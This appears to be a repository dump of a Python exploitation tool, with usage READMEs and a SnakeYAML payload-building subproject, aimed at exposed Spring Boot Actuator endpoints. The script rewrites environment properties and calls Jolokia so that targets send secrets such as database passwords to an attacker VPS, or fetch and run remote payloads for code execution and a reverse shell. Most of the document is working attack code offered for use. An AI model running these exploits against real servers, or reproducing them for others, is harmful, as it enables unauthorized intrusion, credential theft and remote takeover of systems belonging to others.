├── ActuatorExploit.py ├── README.md └── yaml-payload ├── 1.sh ├── README.md └── src ├── .idea ├── compiler.xml ├── misc.xml ├── modules.xml ├── src.iml ├── vcs.xml └── workspace.xml ├── META-INF └── services │ └── javax.script.ScriptEngineFactory └── artsploit ├── .DS_Store └── AwesomeScriptEngineFactory.java /ActuatorExploit.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # -**- Author: LFY -**- 3 | 4 | import requests 5 | import argparse 6 | 7 | 8 | def post(target, data, path, version): 9 | res = None 10 | if version == 1: 11 | try: 12 | res = requests.post(target + path, data=data) 13 | except Exception: 14 | print("[-] " + path + " request failed!") 15 | return 16 | elif version == 2: 17 | if data is None: 18 | json = None 19 | else: 20 | (name, value), = data.items() 21 | json = { 22 | "name": name, 23 | "value": value, 24 | } 25 | try: 26 | res = requests.post(target + "/actuator" + path, 27 | json=json) 28 | except Exception: 29 | print("[-] " + path + " request failed!") 30 | return 31 | else: 32 | print("[-] Unknown version!") 33 | return 34 | 35 | return res 36 | 37 | 38 | def check_env_and_refresh_exists(target, version): 39 | res = post(target, {1: 1}, "/env", version) 40 | if res is None or res.status_code == 405: 41 | print("[-] Env 'POST' not supported, exploit failed!\n") 42 | return False 43 | 44 | res = post(target, None, "/refresh", version) 45 | if res is None or res.status_code == 405: 46 | print("[-] Refresh 'POST' not supported, exploit failed!\n") 47 | return False 48 | 49 | return True 50 | 51 | 52 | def check_jolokia_exists(target, version): 53 | if version == 1: 54 | target = target + "/jolokia" 55 | else: 56 | target = target + "/actuator/jolokia" 57 | 58 | res = requests.get(target) 59 | if res.status_code == 404: 60 | print("[-] Jolokia not exists!\n") 61 | return False 62 | 63 | return True 64 | 65 | 66 | def check_mbean_exists(target, version, keywords): 67 | if version == 1: 68 | target = target + "/jolokia/list" 69 | else: 70 | target = target + "/actuator/jolokia/list" 71 | 72 | res = requests.get(target) 73 | for keyword in keywords: 74 | if keyword not in res.text: 75 | print(f"[-] MBean {keyword} not exist!") 76 | return False 77 | return True 78 | 79 | 80 | class InfoLeaker(object): 81 | def __init__(self, target, info, version, vps=""): 82 | self.target = target 83 | self.info = info 84 | self.version = version 85 | self.vps = vps 86 | 87 | def get_by_jolokia(self): 88 | print("[*] Get By Jolokia...") 89 | 90 | if not check_jolokia_exists(self.target, self.version): 91 | return 92 | 93 | json = { 94 | "mbean": "org.springframework.boot:name=SpringApplication,type=Admin", 95 | "operation": "getProperty", 96 | "type": "EXEC", 97 | "arguments": [self.info] 98 | } 99 | 100 | if version == 1: 101 | target = self.target + "/jolokia" 102 | else: 103 | target = self.target + "/actuator/jolokia" 104 | 105 | res = requests.post(target, json=json) 106 | if res is None: 107 | print("[-] Exploit failed!\n") 108 | return 109 | 110 | print(res.text) 111 | print("[+] Exploit success!\n") 112 | 113 | def get_by_placeholder(self): 114 | print("[*] Get By Placeholder...") 115 | 116 | if not check_env_and_refresh_exists(self.target, self.version): 117 | return 118 | 119 | print("[+] Trying spring.cloud.bootstrap.location...") 120 | data = { 121 | "spring.cloud.bootstrap.location": "http://" + self.vps + "/?=${" + self.info + "}" 122 | } 123 | res = post(self.target, data, "/env", self.version) 124 | if res is None or self.vps not in res.text: 125 | print("[-] SnakeYAML exploit failed!") 126 | 127 | print("[+] Trying eureka.client.serviceUrl.defaultZone...") 128 | data = { 129 | "eureka.client.serviceUrl.defaultZone": "http://" + self.vps + "/?=${" + self.info + "}" 130 | } 131 | res = post(self.target, data, "/env", self.version) 132 | if res is None or self.vps not in res.text: 133 | print("[-] Eureka exploit failed!") 134 | 135 | post(self.target, None, "/refresh", self.version) 136 | print("[+] Exploit completed!\n") 137 | 138 | def get_by_heapdump(self): 139 | print("[*] Get By Heapdump...") 140 | 141 | if self.version == 1: 142 | res = requests.get(self.target + "/heapdump") 143 | elif self.version == 2: 144 | res = requests.get(self.target + "/actuator/heapdump") 145 | 146 | if res.status_code == 200: 147 | print("[+] Target can be exploited!\n") 148 | else: 149 | print("[-] Heapdump not exists!\n") 150 | 151 | 152 | class RceExp(object): 153 | def __init__(self, target, version, vps=""): 154 | self.target = target 155 | self.version = version 156 | self.vps = vps 157 | 158 | def exp_spel(self): 159 | pass 160 | 161 | def exp_snakeYAML_and_eurekaXStream(self): 162 | print("[*] Exp SnakeYAML And EurekaXStream...") 163 | 164 | if not check_env_and_refresh_exists(self.target, self.version): 165 | return 166 | 167 | # spring-cloud-starter < 1.3.0.RELEASE 168 | print("[+] Trying to overwrite spring.cloud.bootstrap.location...") 169 | data = { 170 | "spring.cloud.bootstrap.location": "http://" + self.vps + "/1.yml" 171 | } 172 | res = post(self.target, data, "/env", self.version) 173 | if res is None or self.vps not in res.text: 174 | print("[-] SnakeYAML exploit failed!") 175 | 176 | 177 | # spring-cloud-starter-netflix-eureka-client < 1.8.7 178 | print("[+] Trying to overwrite eureka.client.serviceUrl.defaultZone...") 179 | data = { 180 | "eureka.client.serviceUrl.defaultZone": self.vps + "/1" 181 | } 182 | res = post(self.target, data, "/env", self.version) 183 | if res is None or self.vps not in res.text: 184 | print("[-] EurekaXStream exploit failed!") 185 | 186 | post(self.target, None, "/refresh", self.version) 187 | print("[+] Exploit completed!\n") 188 | 189 | def exp_jdbc_unser(self): 190 | print("[*] Exp JDBC Unser...") 191 | 192 | if not check_env_and_refresh_exists(self.target, self.version): 193 | return 194 | 195 | # mysql-connector-java 5/8 196 | print("[+] Trying to overwrite spring.datasource.url...") 197 | data = { 198 | "spring.datasource.url": "jdbc:mysql://" + self.vps + "/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" 199 | } 200 | res = post(self.target, data, "/env", self.version) 201 | post(self.target, None, "/refresh", self.version) 202 | 203 | if res is None or self.vps not in res.text: 204 | print("[-] JDBC Unser exploit failed!\n") 205 | return 206 | 207 | print("[+] Try to trigger database operations manually!") 208 | print("[+] Exploit success!\n") 209 | 210 | def exp_jolokia_logback(self): 211 | print("[*] Exp Jolokia Logback...") 212 | 213 | if not check_jolokia_exists(self.target, self.version): 214 | return 215 | 216 | keywords = ["ch.qos.logback.classic.jmx.JMXConfigurator", "reloadByURL"] 217 | if not check_mbean_exists(self.target, self.version, keywords): 218 | return 219 | 220 | print("[+] Target could be attacked!") 221 | print("[+] Trying to reload {}'s logback.xml".format(self.vps)) 222 | 223 | # xml_addr = input( 224 | # "[+] Input logback's xml server addr or n:") or "n" 225 | # if xml_addr == "n": 226 | # print("[+] Exploit completed!\n") 227 | # return 228 | 229 | xml_addr = self.vps 230 | 231 | exp_url = "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/" + xml_addr + "!/logback.xml" 232 | if self.version == 1: 233 | res = requests.get(self.target + exp_url) 234 | elif self.version == 2: 235 | res = requests.get(self.target + "/actuator" + exp_url) 236 | # print(res.text) 237 | if "\"status\":200" in res.text and xml_addr in res.text: 238 | print("[+] Exploit success!\n") 239 | else: 240 | print("[-] Exploit failed! Exploit it manually!\n") 241 | 242 | # elprocessor方式,无视jdk版本 243 | def exp_jolokia_realm(self): 244 | print("[*] Exp Jolokia Realm...") 245 | 246 | if not check_jolokia_exists(self.target, self.version): 247 | return 248 | 249 | keywords = ["type=MBeanFactory", "createJNDIRealm"] 250 | if not check_mbean_exists(self.target, self.version, keywords): 251 | return 252 | 253 | print("[+] Target could be attacked!") 254 | print("[+] Use RR's exp to attack!\n") 255 | 256 | def exp_h2(self): 257 | print("[*] Exp H2 DB...") 258 | 259 | if version == 1: 260 | target = self.target + "/env" 261 | else: 262 | target = self.target + "/actuator/env" 263 | 264 | res = requests.get(target) 265 | if res.status_code == 404: 266 | print("[-] Env not exists!\n") 267 | return 268 | 269 | if "h2database" in res.text: 270 | print("[+] H2database exists! Exploit it manually!") 271 | 272 | 273 | if __name__ == '__main__': 274 | parser = argparse.ArgumentParser() 275 | parser.add_argument("-t", "--target", dest='target', 276 | help="target url, like http://127.0.0.1") 277 | parser.add_argument("-w", "--way", dest='way', 278 | help="scan way, input leak/rce") 279 | parser.add_argument("-v", "--version", dest='version', 280 | help="sb version, input 1/2, 2 is /actuator/xxx") 281 | parser.add_argument("-p", "--vps", dest='vps', 282 | help="listener vps ip") 283 | parser.add_argument("-i", "--info", dest='info', 284 | help="info to leak", default="") 285 | 286 | args = parser.parse_args() 287 | target = args.target 288 | info = args.info 289 | version = int(args.version) 290 | vps = args.vps 291 | 292 | if args.way == "leak": 293 | print("[*] Trying to leak info...\n") 294 | leaker = InfoLeaker(target, info, version, vps) 295 | leaker.get_by_placeholder() 296 | leaker.get_by_jolokia() 297 | leaker.get_by_heapdump() 298 | elif args.way == "rce": 299 | print("[*] Trying to RCE...\n") 300 | rcechecker = RceExp(target, version, vps) 301 | rcechecker.exp_snakeYAML_and_eurekaXStream() 302 | rcechecker.exp_jolokia_logback() 303 | rcechecker.exp_jolokia_realm() 304 | rcechecker.exp_jdbc_unser() 305 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ActuatorExploit 2 | SpringBoot Actuator未授权自动化利用,支持信息泄漏/RCE 3 | 4 | ## About 5 | 参考 https://github.com/LandGrey/SpringBootVulExploit 6 | SpringBoot Actuator各种姿势的半自动化利用,landgrey师傅的项目中有的姿势都已集成 7 | 8 | ## Usage 9 | ``` 10 | usage: ActuatorExploit.py [-h] [-t TARGET] [-w WAY] [-v VERSION] [-p VPS] 11 | [-i INFO] 12 | 13 | optional arguments: 14 | -h, --help show this help message and exit 15 | -t TARGET, --target TARGET 16 | target url, like http://127.0.0.1 17 | -w WAY, --way WAY scan way, input leak/rce 18 | -v VERSION, --version VERSION 19 | sb version, input 1/2, 2 is /actuator/xxx 20 | -p VPS, --vps VPS listener vps ip 21 | -i INFO, --info INFO info to leak 22 | ``` 23 | 24 | ### RCE: 25 | python3 check.py -t http://127.0.0.1:9094 -w rce -v 1 -p vsp:1234 26 | 27 | ![](https://pic-1257433408.cos.ap-chengdu.myqcloud.com/2020/10/15/16027483264063.jpg) 28 | 29 | 注1:snakeyaml利用需要的反弹shell exp见yaml-payload,运行1.sh即可编译。 30 | 注2:[RR's exp](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html) 31 | 32 | ### Leak: 33 | python3 check.py -t http://127.0.0.1:9094 -w leak -v 1 -p vps:1234 -i spring.datasource.password 34 | 35 | ![](https://pic-1257433408.cos.ap-chengdu.myqcloud.com/2020/10/15/16027483497576.jpg) 36 | -------------------------------------------------------------------------------- /yaml-payload/1.sh: -------------------------------------------------------------------------------- 1 | javac src/artsploit/AwesomeScriptEngineFactory.java 2 | jar -cvf yaml-payload.jar -C src/ . 3 | scp yaml-payload.jar root@tx:/data/www/default/tmp/123.jar -------------------------------------------------------------------------------- /yaml-payload/README.md: -------------------------------------------------------------------------------- 1 | A tiny project for generating payloads for the SnakeYAML deserialization gadget (taken from https://github.com/mbechler/marshalsec): 2 | ```yaml 3 | !!javax.script.ScriptEngineManager [ 4 | !!java.net.URLClassLoader [[ 5 | !!java.net.URL ["http://artsploit.com/yaml-payload.jar"] 6 | ]] 7 | ] 8 | ``` 9 | Put the java code you want execute into [AwesomeScriptEngineFactory.java](./src/artsploit/AwesomeScriptEngineFactory.java) and compile: 10 | ```bash 11 | javac src/artsploit/AwesomeScriptEngineFactory.java 12 | jar -cvf yaml-payload.jar -C src/ . 13 | ``` 14 | 15 | Then place the 'yaml-payload.jar' file in to the web server folder (e.g. artsploit.com/yaml-payload.jar) 16 | -------------------------------------------------------------------------------- /yaml-payload/src/.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /yaml-payload/src/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 10 | 11 | -------------------------------------------------------------------------------- /yaml-payload/src/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /yaml-payload/src/.idea/src.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /yaml-payload/src/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /yaml-payload/src/.idea/workspace.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 13 | 14 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | ip 66 | run 67 | 68 | 69 | 70 | 72 | 73 | 78 | 79 | 80 | 89 | 90 | 91 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 |